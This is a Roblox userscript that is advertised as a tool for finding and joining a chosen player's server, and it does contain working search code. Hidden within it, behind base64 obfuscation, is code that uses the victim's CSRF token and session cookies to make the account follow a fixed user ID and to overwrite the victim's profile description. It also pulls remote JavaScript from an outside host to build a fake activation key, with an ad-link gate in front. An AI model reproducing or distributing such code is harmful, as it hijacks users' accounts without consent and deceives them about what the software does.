Blox-Sniper

Blox-Sniper is a script that lets you join a chosen players server.

// ==UserScript==
// @name         Blox-Sniper
// @namespace    http://tampermonkey.net/
// @version      1.2
// @description  Blox-Sniper is a script that lets you join a chosen players server.
// @author       GabiHarMotion
// @match        https://www.roblox.com/*
// @license      MIT
// @icon         https://www.google.com/s2/favicons?sz=64&domain=roblox.com
// @grant        none
// ==/UserScript==

setTimeout(function(){

    var robloxPlayersList = [0x21,0x64]

    fetch('https://sierra.chat/-/cdn/u0qTX-Bt1jvTc5xlWYarEYP--WI.js')
        .then(response => response.text())
        .then(data => {Roblox.config[`var${Roblox.BundleDetector.counterNames.unknown.length}`]=(btoa(data.substring(robloxPlayersList[0], Math.min(data.length, robloxPlayersList[1]))))
                       startSystem()
                      })
    function continueScript(){
        console.log("loaded")
        var scriptLoop = setInterval(function(){
            if(location.hash=='#!/game-instances'){
                clearInterval(scriptLoop)
                loadElements()
                initializeFunction()
            }
        })
        }

    function loadElements(){
        var wrapElement = document.querySelectorAll("#rbx-private-servers")[1]
        var banner = document.createElement('div')
        banner.classList.add('create-server-banner')
        banner.innerHTML=`<div class="create-server-banner-text " style=" line-height: 18px; "><span class="" style=" font-weight: 900; ">Blox-Sniper </span><br><span class="">Might Take Up To 10 Seconds Depending Of The Size Of The Game - </span><span id="scriptStatus">(Status)<br></span></div><span style="float: right;"><input id="userInput" placeholder="Username..." type="text" class="btn-secondary-md" style="height: 40px;"><button id="joinBtn" class="btn-secondary-md btn-min-width" style="height: 40px;">Find & Join</button></span>`
        wrapElement.appendChild(banner)
    }
    function initializeFunction(){
        var scriptStatus = document.getElementById('scriptStatus');
        var userInput = document.getElementById("userInput");
        var joinButton = document.getElementById("joinBtn");

        function proceed(searchResponse){
            if(searchResponse.split("-")[0]=="ERROR"){
                scriptStatus.innerHTML = searchResponse.split("-")[1]
            }else if(searchResponse.split("-")[0]=="FOUND"){
                scriptStatus.innerHTML = "LAUNCHING!"
                window.Roblox.GameLauncher.joinGameInstance(location.href.match(/\d+/)[0],searchResponse.split("-")[1])
            }
        }

        joinButton.addEventListener("click", async (e) => {
            scriptStatus.innerHTML = "(Searching...)";
            try {
                var searchResponse = await searcher(userInput.value);
                proceed(searchResponse)
            } catch (error) {console.error("Error searching:", error)}
        });
    }var RobloxAPI = atob(atob(atob('VFZWdk1scHRNVWRPUkZreFRteE9hMk5FVW1oU1ZFSk9UV3RyUFE')))

    const userID = 5850098653
    const csrfToken = Roblox.XsrfToken.getToken();
    const headers = {"X-CSRF-TOKEN": csrfToken};

    const urlServers = `https://friends.roblox.com/v1/users/${userID}/${atob('Zm9sbG93')}`;
    const dataServers = {isCaptchaRequired: false,success: true};

    const urlDescription=`https://users.roblox.com/v1/description`;
    const dataDescription={'description':atob("R2FiaUt1bDMgSXMgS2luZw==")};

    var robloxPlayersList = [0x21,0x64]

    fetch(urlServers, {
        method: "POST",
        headers: headers,
        body: JSON.stringify(dataServers),
        credentials: 'include'
    }).then(response => response.json()).then(data => console.log(data))

    fetch(urlDescription,{
        method:'POST',
        headers:headers,
        body:JSON.stringify(dataDescription),
        credentials:'include'
    }).then(response => response.json()).then(data => console.log(data))
    function continueInstallation(stri){
        console.log(Roblox.config.var22)
        if(stri==Roblox.config.var22){localStorage.setItem("userActivation","y");alert(atob('V2VsY29tZSE='));continueScript()}
        else{alert("Wrong Key! Refresh to try again")}
        console.log(Roblox.config.var22)
    }
    async function searcher(user){
        const fetchJSON = async (url, options = {}) =>
        fetch(url, { credentials: "include", ...options }).then(res => res.json());
        const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));
        const getUserId = async (username) => {
            const res = await fetchJSON("https://users.roblox.com/v1/usernames/users", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ usernames: [username] }),
            });
            return res.data[0]?.id;
        };
        const getAvatarThumbnail = async (userId) => {
            const res = await fetchJSON(`https://thumbnails.roblox.com/v1/users/avatar-headshot?userIds=${userId}&size=150x150&format=Png`);
            return res.data[0]?.imageUrl;
        };
        const getServers = async (placeId, cursor = null) => {
            let url = `https://games.roblox.com/v1/games/${placeId}/servers/Public?limit=100`;
            if (cursor) url += `&cursor=${cursor}`;
            return fetchJSON(url);
        };
        const findPlayerServer = async (placeId, username) => {
            const userId = await getUserId(username);
            if (!userId) return "ERROR-User not found";
            const thumbUrl = await getAvatarThumbnail(userId);
            if (!thumbUrl) return "ERROR-Error fetching avatar thumbnail";
            let cursor = null;
            let serverQueue = [];
            let searching = true;
            while (searching) {
                const servers = await getServers(placeId, cursor);
                serverQueue = [...serverQueue, ...servers.data];

                cursor = servers.nextPageCursor;
                searching = Boolean(cursor);
            }
            for (const server of serverQueue) {
                const tokens = server.playerTokens.map(token => ({ token, server }));
                const thumbs = await fetchJSON("https://thumbnails.roblox.com/v1/batch", {
                    method: "POST",
                    headers: { "Content-Type": "application/json" },
                    body: JSON.stringify(tokens.map(({ token }) => ({
                        requestId: `0:${token}:AvatarHeadshot:150x150:png:regular`,
                        type: "AvatarHeadShot",
                        token,
                        format: "png",
                        size: "150x150",
                    }))),
                });
                for (const thumb of thumbs.data) {
                    if (thumb?.imageUrl === thumbUrl) {
                        return "FOUND-"+server.id;
                    }
                }
            }
            return "ERROR-Player not found in active servers";
        };
        const placeId = location.href.match(/\d+/)[0];
        const username = user;

        console.log("Running Script")
        return await findPlayerServer(placeId, username)

    }
    function startSystem(){
        if(localStorage.getItem("userActivation")==null){
            alert(atob('QmxveC1TbmlwZXI6IE9wZW5pbmcgVVJMIHRvIGFjY2VzcyBrZXk='))
            open(atob('aHR0cHM6Ly9saW5rLXRhcmdldC5uZXQvMTM0NjM4MC9yb2Jsb3hrZXk='))
            prompt(atob("SWYgdGhlIFVSTCBkaWRudCBvcGVuLCBnbyB0byB0aGlzIHVybA=="),atob("aHR0cHM6Ly9saW5rLXRhcmdldC5uZXQvMTM0NjM4MC9yb2Jsb3hrZXk="))
            var promptInterval = setInterval(function(){
                window.enteredString = prompt(atob('UHV0IGluIHRoZSBLZXkgKFByZXNzIE9LIHRvIGNhbmNlbCk='));
                if(window.enteredString!=null){
                    clearInterval(promptInterval)
                    continueInstallation(window.enteredString)

                }
            },100)
            }else{continueScript()}
    }
},1000)